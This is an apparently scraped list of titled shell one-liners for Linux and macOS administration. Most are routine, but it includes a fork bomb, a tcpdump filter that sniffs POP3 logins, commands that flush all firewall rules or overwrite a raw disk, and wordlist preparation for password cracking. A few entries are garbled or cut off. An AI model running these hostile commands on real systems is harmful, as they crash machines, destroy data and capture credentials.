Search and replace multiple files with substitution
find . -name "*.txt" | xargs -n 1 perl -pi -w -e "s/text([0-9])/other\$1/g;"
Take a PDF with form fields and create a flattened PDF that will print properly
pdftk fill_me_in.pdf output no_thanks.pdf flatten
svn propset mergeinfo
svn propset svn:mergeinfo "/trunk:4" .
show a sorted list of directory whose name matches the pattern
locate -i /pattern/ | xargs -n1 dirname | sort -u
Mouse wheel or thumb buttons borked? Try this.
pkill imwheel && imwheel &
Find + grep
find <dir> -type f -exec grep -i -H <string> {} \;
check open network port with cat
cat < /dev/null > /dev/tcp/<hostname or ip>/<port>; echo $?
Enable Synology Debug mode on shell
sudo /usr/syno/bin/synogear install && sudo su
Clean or clean pacman and pamac cache
sudo pacman -Scc && pamac clean -b
Generate MD5 hash for a string
echo -n "string" | md5sum -
Tar a directory and its sub-directory
tar cvfz dir_name.tgz dir/
sort selected lines in a text file to the beginning or end of the file.
2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r 's/^.*[0-9]+\t+//' > $1; rm $1.tmp; )
Setting gdb in memory allocation debugging mode under MAC OS X
set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error
Sum file sizes
find . -type f -printf %s\\n | paste -sd+ | bc
Correct spellings in directory names
shopt -s cdspell
Sort I/O activity by PID number.
for i in $(ps -eo pid|grep -v PID);do echo ""; echo -n "==$i== ";awk '/^read|^write/{ORS=" "; print}' /proc/$i/io 2>/dev/null; echo -n " ==$i=="; done|sort -nrk5|awk '{printf "%s\n%s %s\n%s %s\n%s\n\n",$1,$2,$3,$4,$5,$6}'
List all text files (exclude binary files)
find -type f | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
autocreate git tag
git tag rel--`date +%Y-%m-%d--%H-%M-%S` -m "(%) rel: stage"
Shorthand for proper mktemp inside $TMPDIR
mktemp!() { mktemp $TMPDIR$1.XXXXXXXXXX }
Get user's full name in Mac OS X
finger $(whoami) | perl -ne '/Name: ([a-zA-Z0-9 ]{1,})/ && print "$1\n"'
Secure netcat chat - SSH
ssh hostname nc -l 9876
svn diff ignore whitespace
svn diff --diff-cmd diff -x -uw /path/to/file
Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
perl -i -pe 's/\xef\xbb\xbf//g' <file>
Print a row of 50 hyphens
python -c 'print "-" * 50'
Get current Xorg resolution via xrandr
xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'
Python: Quickly locate site-packages
python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()"
Scrape all RBLs off the anti-abuse.org site
lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep ']' | awk -F\] '{ print $2 }' | sed '/^\[/d' | egrep -v ^[A-Z]
place wifi card into monitor mode
iwconfig wlan0 mode monitor
Compare latest changes in locally edited file with SVN copy of a file
svn diff <FILE>
Prefix file contents with filename
for i in *; do sed -i "s/^/$i: /" $i; done
Count empty lines using grep
grep -c "^$" filename
AWK example of using substr + index to print strings in an unknown position.
awk '{word=(substr($0,index($0,"blah"),5));print word}'
Displays mpd playing status in the terminal first raw
while sleep 1; do (mpc status;mpc currentsong)|awk 'BEGIN{FS=": "}/^Artist:/{r=r""$2};/^Title:/{r=r" - "$2};/^time:/{r=$2" "r};/^state: play/{f=1}END{if(f==1){print r}}'|echo -ne "\e[s\e[0;0H\e[K\e[0;44m\e[1;33m$(cat -)\e[0m\e[u";done &
use the find command and have it not print trailing slashes
find * -maxdepth 0 -type d
Wait the set time and then Power off
sudo shutdown -h <hour:minute>
Wait for Web service to spin up, aka alert me when the server stops returning a 503
while true; do curl -vsL -o /dev/null example.com 2>&1 | grep 503 > /dev/null || echo "OK: server is up."; sleep 8; done
x11vnc store password
x11vnc -storepasswd "password" ~/my_vnc_pass
Save memory and typing when arrow searching through history
echo '\n"\e[A": history-search-backward\n"\e[B": history-search-forward\n"\e[C": forward-char\n"\e[D": backward-char\n' >> ~/.inputrc
Decode a MIME message
uudeview +e .zip -i mail.eml
List widescreen wallpapers in current dir
./mpv_identify.sh * | egrep '^video_aspect=1\.[67]'
Remove all matches containing a string until its next space
sed 's/linux-[^ ]* \{0,1\}//g' /path/to/file
Check out Gate number for your flight from CLI with Chrome
google-chrome-stable --headless --dump-dom --disable-gpu "https://avinor.no/flight/?flightLegId=dy754-osl-trd-20220726&airport=OSL" 2>/dev/null | html2text | grep -A2 Gate
Notify on Battery power
NotifyOnBATTERY () { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done }
build DTT channel list with w-scan
w_scan -X -P -t 2 -E 0 -c IT > dvb-channels.conf
Generate random sensible passwords, and copy them to the clipboard
while true; do curl -s http://sensiblepassword.com/?harder=1 | tail -n 15 | head -n 1 | sed 's;<br/>;;' | cut -c 5- | cb; sleep 1; done
Marks all manually installed deb packages as automatically installed.
aptitude -F "%p" search \!~M~i~T | xargs apt-mark markauto
Suppress standard output using > /dev/null
cat file.txt > /dev/null
Make directory and change into immediately (No functions!)
mkdir -p /path/to/folder.d; \cd $_
look some php code by some keywords
locate *\\.php|xargs grep --color=always -i -5 "namespace\s.*\W"|less
Start x11vnc session
x11vnc -many -rfbauth ~/.vnc_passwd -forever -nevershared
Thread count by process, sorted + total
(ps -U nms -o pid,nlwp,cmd:500 | sort -n -k2) && (ps -U nms -o nlwp | tail -n +2 | paste -sd+ | bc)
Not able to data in tee on using dual command like: tail and grep
tail -f log.txt | egrep --line-buffered 'WARN|ERROR' | tee filtered_output.txt
quick livestream screencast
ffmpeg -f x11grab -s $(xrandr | awk '/*/ {print $1}') -r 10 -i :0 -an -q 10 -f mjpeg - | nc -lp <port>
Get a virtual vCenter's root certificate
/usr/lib/vmware-vmafd/bin/vecs-cli entry list --store TRUSTED_ROOTS
Find Duplicate Files (based on size, name, and md5sum)
find -type f -printf '%20s\t%100f\t%p\n' | sort -n | uniq -Dw121 | awk -F'\t' '{print $3}' | xargs -d '\n' md5sum | uniq -Dw32 | cut -b 35- | xargs -d '\n' ls -lU
Check if variable is a number
if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi
Get current connected wireless network with nm-tools
nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]*connected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.*Infra/ { s/^*//;s/:.*//;p }}}'
Show the changed files in your GIT repo
git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but not updated/i; print $F[-1] if ( $a && -f $F[-1] )'
Kill-Line
Forensic tool to find hidden processes and ports
unhide (proc|sys|brute)
List and count the number of open sessions per user
users | xargs -n1 echo | sort | uniq -c
have tar decide compression based on filename
tar -caf some_dir.tar.xz some_dir
Adding leading zeros to a filename (1.jpg -> 001.jpg)
rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg;
Show which user has the most accumulated login time
ac -p | sort -nk 2 | awk '/total/{print x};{x=$1}'
Replace Space In Filenames With Underscore
rename 's/ /_/g' *
Join command like SQL
join employee.txt bonus.txt
Watch the number of RabbitMQ connections by user (sorted)
watch -d "rabbitmqctl -q list_connections | awk '{gsub(/[ \t]+/, \"\", \$1); print \$1}' | sort | uniq -c | sort -nr"
Get the IP address of a machine. Just the IP, no junk.
host `hostname` | rev | cut -d' ' f1 | rev
An EXTREMELY powerful fork bomb. You have been warned.
_(){ _|_&&_& };_
Diff 2 branches, for a type of file & having a string in the diff
git diff t1_clone tlocal4 --name-only | grep -i "swift" | xargs git diff t1_clone tlocal4 --word-diff-regex="NSLocalized"
hours before the time()==1234567890
echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))
Outputs a 10-digit random number
head -c10 <(echo $RANDOM$RANDOM$RANDOM)
Get current Xorg resolution via xrandr
xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}'
Display environment vars only, using set
alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/q;p"'
Print sorted list of all installed packages (Debian)
aptitude search -F "%p" --disable-columns ~i
Search recursively to find a word in certain file types
find . -iname '*.conf' | xargs grep "searh string" -sl
Knowing when a machine is turned on
date -d @$(echo $(($(date +%s)-$(cat /proc/uptime|cut -d. -f1))))
delete first and last line from file
sed '1d;$d' filename
Get IP address from Tor exit-node
curl -s -d "CSField=Name" -d "CSInput=BostonUCompSci" http://torstatus.blutmagie.de/index.php | grep -oP "ip=\K(\d+)(\.\d+){3}"
Change a file to upper case
tr a-z A-Z < file.txt
delete first X lines of a file
tail +56 file > newfile
SVN Export files that were modified between given revisions.
svn diff . -r43:HEAD --summarize | cut -c9-99999 | cpio -pvdmu ~/destination
Monitor a log file, filling up all available space in the terminal window and preventing line wrap
watch -n 4 "tail -n $(expr $(tput lines) - 4) /var/log/apache2/access.log | cut -c 1-$(tput cols)"
df without line wrap on long FS name
(df -Pk 2>/dev/null|| df -k) | cat
finds all bean ids in all xml files from the current folder
find . -iname "*.xml" | xargs cat | grep '<bean[^>]\+id=' | sed 's/.*id="\([^"]\+\)".*/\1/g' | sort | uniq -u
GRUB2: Set Imperial Death March as startup tune
echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
get processid of running process
processid =$(ps aux | grep 'ProcessName' | grep -v grep| awk '{print $2}')
Disk Free with column and Fs and Size human readble
df -PhT
Add a newline to the end of a cpp file
find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;
Monitor a file's size
while [ 1 ]; do du /var/log/messages;sleep 60; done
Fetch the Gateway Ip Address
/sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }'
Converts uppercase chars in a string to lowercase
echo StrinG | tr 'A-Z' 'a-z'
Comment out all lines in a configuration file matching a regexp, creating a backup.
mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf
replace one of the octates of an IP
i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\)/\1\2\3$i/g"
Matched string reference in replacement text
echo "abcde" | sed 's/./& /g'
Remove comments from files
sed -i -e '/^#[^!].*/d' -e 's/\(.*[^!]\)#.*[^}]/\1/' <filename>
Continously show httpd's error log
while [ 1 ]; do tail /var/log/httpd/error_log; sleep 2; clear; done
set desktop background to highest-rated image from Reddit /r/wallpapers
wget -O - http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http://i.imgur.com[^&]+jpg' | head -1 | xargs wget -O background.jpg
Sort using kth column using : delimiter
sort -t: -k 2 names.txt
Kill a lot of process once a time
ps aux | grep <process> | grep -v grep | awk '{print $2}' | xargs -i -t kill -9 {}
Comment in line
: "comment in line"
Recursively remove all files in a CVS directory
find . -type f ! -path \*CVS\* -exec rm {} \; -exec cvs remove {} \;
See ruby compilation flags
ruby -r rbconfig -e 'puts RbConfig::CONFIG["configure_args"]'
Change IP on an ESX interface
esxcli network ip interface ipv4 set -i vmk1 -I 10.27.51.143 -N 255.255.255.0 -t static
Use youtube-dl to download video with output Youtube Title
youtube-dl -c -o "%(title)s" -f 18 https://www.youtube.com/watch?v=5qSCKUCjdKg
Japanese shift-jis encoded subtitles in mplayer
mplayer video.mp4 -fontconfig -font 'Kochi Mincho' -sub 'video.srt' -subcp shift-jis
Convert pdf to pure text.
java -jar pdfbox-app-2.0.6.jar ExtractText input.pdf
Download all files from a Github gist individually
curl -sS --remote-name-all $(curl -sS https://api.github.com/gists/997ccc3690ccd3ac5196211aff59d989 | jq -r '.files[].raw_url')
Get an audio notification if a new device is attached to your computer
dmesg -tW -l notice | gawk '{ if ($4 == "Attached") { system("echo New device attached | espeak") } }
Lower PowerShell priority
PS> Get-WmiObject Win32_process -filter 'name = "powershell.exe"' | Foreach-Object { $_.SetPriority(16384) }
which git tags include this commit?
git tag -l --contains 18f6f2 live*
Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -delete
Convert all Microsoft Word files in current directory to HTML.
for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done
Find out the starting directory of a script
mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd)
Backup entire system
cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev /
Fix MP3 tags encoding (to UTF-8). Batch fixes all MP3s in one directory.
find . -iname "*.mp3" -execdir mid3iconv -e <encoding> {} \;
Monitor MySQL threads per user
mysql -BNe "SELECT user,COUNT(user) AS count FROM processlist GROUP BY user ORDER BY count;" information_schema
Sort files by size
ls -al | sort +4n
Find and remove files older than 365 days
find ./ -type f -mtime +365 -exec rm -f {} \;
If your disk space Used =100% displayed even after deleting the files generated the below command then Just REBOOT the System .
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}')
Recursively remove all empty directories
find . -empty -type d -print0 | xargs -0 rmdir -p
Easy IPTables management
iptables-save > iptables.current; vi iptables.current; iptables-restore iptables.current; service iptables save
Remap Nic aliases from PCI location
lspci -vv | grep 'Ethernet\|Serial' | awk 'NR == 1{ printf $1 } NR == 2 { print " mac " $7 }' | sed ?e 's/-/:/g' -e 's/:f[ef]:f[ef]//g' -e 's/01:00.0/eth0/g' -e 's/01:00.1/eth1/g' -e 's/01:00.2/eth2/g' -e 's/01:00.3/eth3/g' > /etc/iftab && ifrename
Simple Bashrc Cron Job Using Aliases For A Simple Interface
alias alive='(while true; do ping -c 4 192.168.1.1 > /dev/null 2>&1 ; sleep 300 ; done)'
Null a file with sudo
sudo tee /path/to/file < /dev/null
pretty print environment variable PATH
echo $PATH | sed 's/:/\n/g' | sort | uniq
Get purescript externs
cat externs.json | jq ".efExports | .[] | (keys|.[0]) as \$kind | {kind:\$kind,value:(.[\$kind] |.Ident?)}"
Recursive convert all print statements in py files from python2 to python3 form
find . -iname "*.py" -type f -print0 | xargs -0 sed -i 's/^\([ \t]*\)print \(.*\)$/\1print(\2)/g'
Get account info from CLI
aws sts get-caller-identity --output text | awk {'print $1'}
Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
run zenity object on local machine for to insert video stream url to play on remote machine
lol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol"
SSH connection with private key and port 222
ssh -i /root/.ssh/username\@hostname -p 222 username@hostname
commit message generator - whatthecommit.com
curl -s 'http://whatthecommit.com/' | grep '<p>' | cut -c4-
Unique sort
sort namesd.txt | uniq
check details of calling a url
curl -iv url
Clean memory and SO cache
sync ; /sbin/sysctl -w vm.drop_caches=3 ; sync ; sleep 2 ; /sbin/sysctl -w vm.drop_caches=0 ;/sbin/swapoff -a ; sleep 2 ;/sbin/swapon -a
-h means human readable
du -h
display directory
ls -d .*"/" *"/"
Replace all environment variable references in files with environemnt variable values
perl -p -e 's/\$(\w+)/$ENV{$1}/g;' <files...>
Prints out, what the users name, notifyed in the gecos field, is
getent passwd `whoami` | cut -d ':' -f 5
Rename with regular expression and leading zeros
rename 's/result_([0-9]+)_([0-9]+)_([0-9]+)\.json\.txt/sprintf("%d%02d%02d.txt",$3,$2,$1)/ge' result_*.txt
List all directories recursively that have a specif file
find $(pwd) | grep README.txt
Generate File and Checksum with pseudo-random Content and Size in Bash
s=1G bs=16K; count=`units ${s}iB ${bs}iB -1 -t --out="%.f"`; openssl enc -aes-256-ctr -pass pass:`date +%s%N` -nosalt < /dev/zero 2>/dev/null | dd iflag=fullblock bs=$bs count=$count | tee $s | pv -s $s | md5sum | sed -e "s/-/$s/" > ${s}.md5
Size dir
du -s *|sort -nr|cut -f 2-|while read a;do du -hs $a;done
dd with progress bar and statistics
dd if=/dev/urandom of=/file.img status=progress
Find & remove files that are duplicates but with different extensions recursively
for f in `comm -1 -2 <(sort <(find contrib/image/ -name *.png | sed 's/\.[^.]*$//')) <(sort <(find contrib/image/ -name *.jpg | sed 's/\.[^.]*$//'))`;do rm "$f.png" && echo "deleted: $f.png";done
Sort subdirectories by size
du -h --max-depth=1 | sort -hr
Print the 16 most recent RPM packages installed in newest to oldest order
rpm -qa --queryformat '%{INSTALLTIME} %{name}-%{version}-%{release}\n' | sort -k 1,1 -rn | nl | head -16 | awk '{printf("%3d %s %s\n", $1,strftime("%c",$2),$3)}'
AIX: Determine what filesets are missing to reach a TL
instfix -icq | grep 5300-07_AIX_ML | grep ":-:"
Easily create and share X screen shots (local webserver version)
scrot -e 'mv $f \$HOME/public_html/shots/; echo "http://\$HOSTNAME/~\$USER/shots/$f" | xsel -i; feh `xsel -o`'
how to run firefox in safe mode from command line
firefox --safe-mode
Execute all SQL files in a directory
cat *.sql | mysql <db_name>
run zenity object on local machine for select all directory file to play on remote machine
lol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop "$lol"
附带节假日和阴历的命令行程序
gcal -i -s1 -qcn --chinese-months -cezk .
Display the packages that contain the specified file.
dpkg -S file
pev - Extract PE(.exe) version information in bash
pev winappfile.exe
How to expire the password to force her change [Linux]
chage -d 0 -m 0 -M 60 [user]
Terminate a find after the first match is found.
/bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;'
Create a local compressed tarball from remote host directory
ssh user@host "tar -czf - /path/to/dir" > dir.tar.gz
Kill all threads from a MySQL user
mysql -BNe "SELECT id FROM processlist WHERE user = 'redmine';" information_schema | while read id; do mysqladmin kill $id; done
Show duplicate lines in a file
sort namesd.txt | uniq ?cd
Show alive host on network
nmap -sP 192.168.0.* | grep Host | tr "(" ")" | cut -d\) -f2
remove duplicate with change order
awk '{if(!seen[$0]++) {print $0;}}'
Detect Connections On Port - Android
netstat -lptu | grep -E "22.*ESTABLISHED" | cut -s -d ':' -f2 | awk '{print $2}'
Print out which hosts are not running specific process
for i in `cat hosts_list`; do RES=`ssh myusername@${i} "ps -ef " |awk '/[p]rocessname/ {print $2}'`; test "x${RES}" = "x" && echo $i; done
Fetches NOAA text product weather data. (US only)
wget -q -O - http://weather.noaa.gov/pub/data/observations/state_roundup/ny/nyz003.txt http://weather.noaa.gov/pub/data/forecasts/zone/ny/nyz003.txt | less
Use /etc/fortune as signature in thunderbird
echo 'echo /etc/games/fortune > ~/mailsignature.txt' >> .bashrc
Shows the size of folders and files, sorted from highest to lowest
du -sh * | sort -rh
list bosh2 deployments
bosh deployments --json | jq '.Tables[0].Rows[][0]' --raw-output
Connect to docker as root
docker run -u 0 -it container_id /bin/bash
repeat any string or char n times without spaces between
echo ${(l:80::+:)}
generate pem cert from host with ssl port
openssl s_client -connect HOSTNAME.at:443 -showcerts </dev/null 2>/dev/null | openssl x509 -outform PEM > meinzertifikat.pem
Customizable Search Context
echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search]
Activate the mandatory proxy under ubuntu
gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true
Open windows executable, file, or folder from cygwin terminal
explorer $( cygpath "/path/to/file_or_exe" -w )
How to check webserver by Nikto
nikto.pl -h yourwebserver
Bash function to see what the day ends in
date +%A | cut -c $(( $(date +%A | wc -c) - 1 ))
list all file extensions in a directory
ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq
Bulk add urls to your Instapaper account
for url in `cat urls `; do title=`curl $url 2>&1 | grep -i '<title>.*</title>'` && curl $url > /tmp/u && mail -s "$title" your-private-instapaper-address@instapaper.com < /tmp/u ; done
find a particular string on an unmounted partition
hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' /dev/sda1 | less /mystring
Displays the packages which contain the specified file.
dpkg -S locale.alias
Generate Pascal's Triangle
for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$(($(echo "$v*($r-$c)/$c")));echo -n "$v2 ";v=$v2;done;echo;done
How to expire the password to force her change [AIX]
pwdadm -f ADMCHG [user]
unix2dos with awk
awk 'sub("$", "\r")' unixfile.txt > winfile.txt
Clean a wordlist for use with password cracking tools and rules
cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u > cleanfile.txt
Modify all files newer than another file and touch them to a specific date.
find . -newer /tmp/foo -exec touch --date "2011-12-12" {} \;
find all c and cpp files except the ones in the unit-test and android subdirectories
find . ! -regex '.*/\(unit-test\|android\)/.*' \( -name '*.c' -o -name '*.cpp' \)
Select columns in a file
cut -d: -f 1 names.txt
Fill a hard drive with ones - like zero-fill, but the opposite :)
perl -e '$s="$s\xFF" while length($s)<512; print $s while 1' | dd of=/dev/sdX
Runs previous command replacing foo by bar every time that foo appears
^bar^foo^
remove duplicate with change order
perl -lne 'print unless $seen{$_}++'
Temporarily suspend and unsuspend a foreground job
^Z <...> % &
Git branches I checked-out on a specific date
git reflog --date=local | grep "Oct 2 .* checkout: moving from .* to" | grep -o "[a-zA-Z0-9\-]*$" | sort | uniq
Fix Chromium browser not starting
sudo aa-complain /etc/apparmor.d/usr.bin.chromium-browser
Random Wallpaper From Reddit
wget -O - http://www.reddit.com/r/wallpaper | grep -Eo 'http://i.imgur.com[^&]+jpg' | shuf -n 1 | xargs wget -O background.jpg ; feh --bg-fill background.jpg
Replace string and ask for confirmation
:%s/foo/bar/gc
search manpages on the internets
manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic='"$1" | less; }
Prints line numbers
awk '{print NR,$0}'
Display the space used for all your mounted logical volume (LV)
df -kh /dev/vg0*/lv*
Open Remote Desktop (RDP) from command line having a custom screen size
rdesktop -u <username> -p <password> -g 1366x724 -a 16 -D -z -P <servername / IP Address>
How to Kill Process that is Running on Certain Port in Windows?
netstat -a -o -n | grep 8080
Watch Weather Channel live video stream without a browser
vlc mms://twcilivewm.fplive.net/twcilive-live/twci_350
Get the name or user running the process of specified PID
ps aux | grep PID | grep -v 'grep' | awk '{ print $1 }'
Stop iptables completely
iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; for table in `cat /proc/net/ip_tables_names`; do iptables -t $table -F; iptables -t $table -Z; iptables -t $table -X; done
Squeeze repeats
tr -s ' '
Download all images from a 4chan thread
curl -s http://boards.4chan.org/---/res/nnnnnn | grep -o -i 'File: <a href="//images.4chan.org\/[a-z]*\/src\/[0-9]*\.[a-z]\{3\}' | sed -r 's/File: <a href="\/\///' |xargs wget
Easily find an old command you run
history | tail -100 | grep cmd
replace file name
for i in * ; do mv $i $[j++].mp3 ; done
Use GNU info with a pager
info foo |less
when you type this simple command, a train will show in the terminal! JUST FOR FUN
sl
Watch Video Files in the Terminal
cvlc /path/to/file.avi -V caca
quick and dirty log monitor one liner (requires multitail!)
multitail -D --follow-all -ev "cups" -ev "CUPS" -ev "AbusiveVMnameHere" -e "connect" -i /var/log/samba/yourUnifiedSambaLog -ev "cron" -i /var/log/auth.log -i /var/log/YourFTPlog
debian based OS update apt/dpkg only if it hasn't been updated in N time
if [[ $(expr $(date +%s) - $(stat -c %X /var/lib/apt/periodic/update-success-stamp)) -gt 86400 ]]; then sudo apt-get update fi
Install a Minetest mod from GitHub
cd ~/.minetest/mods && git clone --recursive https://github.com/$1/$2.git
List open ports on a local Linux system
lsof -Pnl -i
Powershell Curl Logs Signal Strength of Cable Modem
while(1){while((date -f ss)%10-gt0){sleep -m 300} echo "$(date -u %s) $((curl 192.168.100.1/cmSignalData.htm).parsedhtml.body.childnodes.item(1).firstchild.firstchild.childnodes.item(5).outertext|%{$_ -replace '\D+\n',''})">>modemlog.txt;sleep 1;echo .}
Display the top ten running processes - sorted by memory usage
top -b -o +%MEM |head -17
Use ffmpeg on a range of an image sequence.
ffmpeg -start_number 10 -i image-%04d.png -vframes 100 output.webm
Cat without comment
cat /etc/squid/squid.conf | egrep -v "(^#.*|^$)"
grep on IP range from maillog
egrep '183\.([0-9]|(1[0-6]|2[0-3]))' -J /var/log/maillog*
Prints the second part of the hostname of a given database in /etc/sybase/interfaces
awk '/^'$SEARCH'[ ]*$/{getline;if ($1 ~ /query/) {split($4,a,".");print a[2]}}' /etc/sybase/interfaces
Mixing music in bash
( for((i=0;$i<100;i++))do echo volume $i 1; sleep 0.1s; done; )| mplayer -slave -quiet sample.mp3
multimedia ping
ping -a IP-ADDRESS
Get duration of an audio file in seconds.
get_duration () { IFS=.: read -r _ h m s _ < <(ffmpeg -i "$1" 2>&1 | grep Duration);echo $(( h * 3600 + m * 60 + s )); }
Show full system info
inxi -F
Status of a file/directory
stat /etc/my.cnf
Non-interactively set timezone in Ubuntu
echo 'Etc/UTC' | tee /etc/timezone; dpkg-reconfigure --frontend noninteractive tzdata
Printing multiple years with Unix cal command
for y in {2009..2013}; do cal $y; done
View facebook friend list [hidden or not hidden]
fbcmd FSTATUS =all
Read source of some installed Perl module
perldoc -m Some::Module
Wake up a remote computer
wakeonlan 00:00:DE:AD:BE:EF
Open image file from command line
eog someimg.jpg
Grep ip addresses from access attempts to a page and add them to an ipset referenced by an iptables rule
grep page.php /var/log/httpd/access_log|awk '{print $1}'|sort|uniq|perl -e 'while (<STDIN>){chomp; $cmd=`ipset add banned -! -q $_`; }'
Monitor memory fine-grained usage (e.g. firefox)
cat $(echo "ls /proc/{`pidof firefox | sed -e 's/$/,/' -e 's/ /,/g'`}/smaps 2>/dev/null" | bash) | awk '/Rss/{sum += $2; } END{print sum, "KB"}'
Delete a certificate from the macOS security keychain
sudo security delete-certificate -c 1000-sans.badssl.com
get the public ip adress of server on shell
ifconfig | grep "inet addr:" | cut -d: -f2 | awk {'print($1)'} | grep -v 127.0
Disable mouse acceleration
xset m default
git log1 alias
git config --global alias.log1 "log --pretty=oneline --abbrev-commit"
what the free memory grow or shink
watch -d "free -mt"
this toggles mute on the Master channel of an alsa soundcard
on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now}
Find all files <10MB and sum up their size
i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i
Sniff ONLY POP3 authentication by intercepting the USER command
tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "sniff"
Convert a directory of pdfs into scaled down pngs
shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(dirname $i)/$(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x380 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done
Find .java files with high complexity (counting curly braces)
find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}'; echo; done | awk '{ print length($2), $1 }' | sort -n
Create fortune's *.dat file from commandlinefu from saved preferite
sed ':a;N;$!ba;s/\n\n/\n%\n/g' input.txt >output
Nohup
nohup ./my-shell-script.sh &
Replace nelines with spaces
sed -e :a -e '$!N;s/\n/ /;ta'
Pipe system log to espeak
tail -f /var/log/messages.log | while read line ; do echo $line | cut -d \ -f5- | sed s/\\[[0-9]*\\]// | espeak ; done
Tar dir excluding tmp
tar -zcvf <archive<.tar.gz --exclude /home/szimbaro/tmp /home/szimbaro
mount iso file
mount -o loop centos.iso /nmt/dir
empty one file
> filename.txt
Use wbinfo to output a table with basic user information from the default domain controller.
for DOMAIN in $(wbinfo -m); do WBSEP=$(wbinfo --separator); ADSERVER=$(wbinfo ... (Read description for full command)))
alias that copies text into clipboard and clears clipboard after X seconds
alias lp="echo -n \"some text to copy\" | pbcopy; sleep 120 && echo -n \"done\" | pbcopy &"
Resize and compress jpg images to another path with mogrify
find /media/mmc/ -iname "*.JPG" -exec mogrify -quality 75 -resize '800x600' -path ~/Temp/ {} \;
Network Interfaces
sudo ip addr show
Replace VIM
:%s/<string old>/<string new>/g
Remove blank lines from a file using grep and save output to new file
awk NF
Grep the process excluding the grep itself.
ps -ef | grep [t]clsh
prints line numbers
perl -pe 'print "$. "' <file>
print line and execute it in BASH
$ echo "command"; `!#:0-$
Mark a directory as one where something failed
fail () { ln -s /nonexistent 0_FAIL_${1}; }
list with full path
find `pwd` -maxdepth 1 -exec ls --color -d {} \;
find all c and cpp files except the ones in the unit-test and android subdirectories
ls **/*.c(|pp)~(unit-test|android)/*
Mute Master sound channel, printing only the percent volume
amixer -c 0 set Master toggle | sed -n "$ p" | awk '{print $4}' | sed "s/[^0-9]//g"
list all files are greater than 10mb
ls -lahS $(find / -type f -size +10000k)
watch video youtube without flash but with mplayer and youtube-dl
mplayer $(youtube-dl -g http://youtube.com/example)
Use grep to get multiple patterns.
egrep -wi --color 'warning|error|critical'
dd with pretty progress bar (Requires pv and dialog)
(pv -n centos-7.0-1406-x86_64-DVD.img | dd of=/dev/disk4 bs=1m conv=notrunc,noerror) 2>&1 | dialog --gauge "Copying CentOS to USB Stick in /dev/disk4" 10 70 0
Info cpu
cat /proc/cpuinfo | less
Clear DNS cache on a mac
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
split email by @ with awk
echo $mail | awk -F'@' '{print $2}'
Mount SMB v1 share on Linux
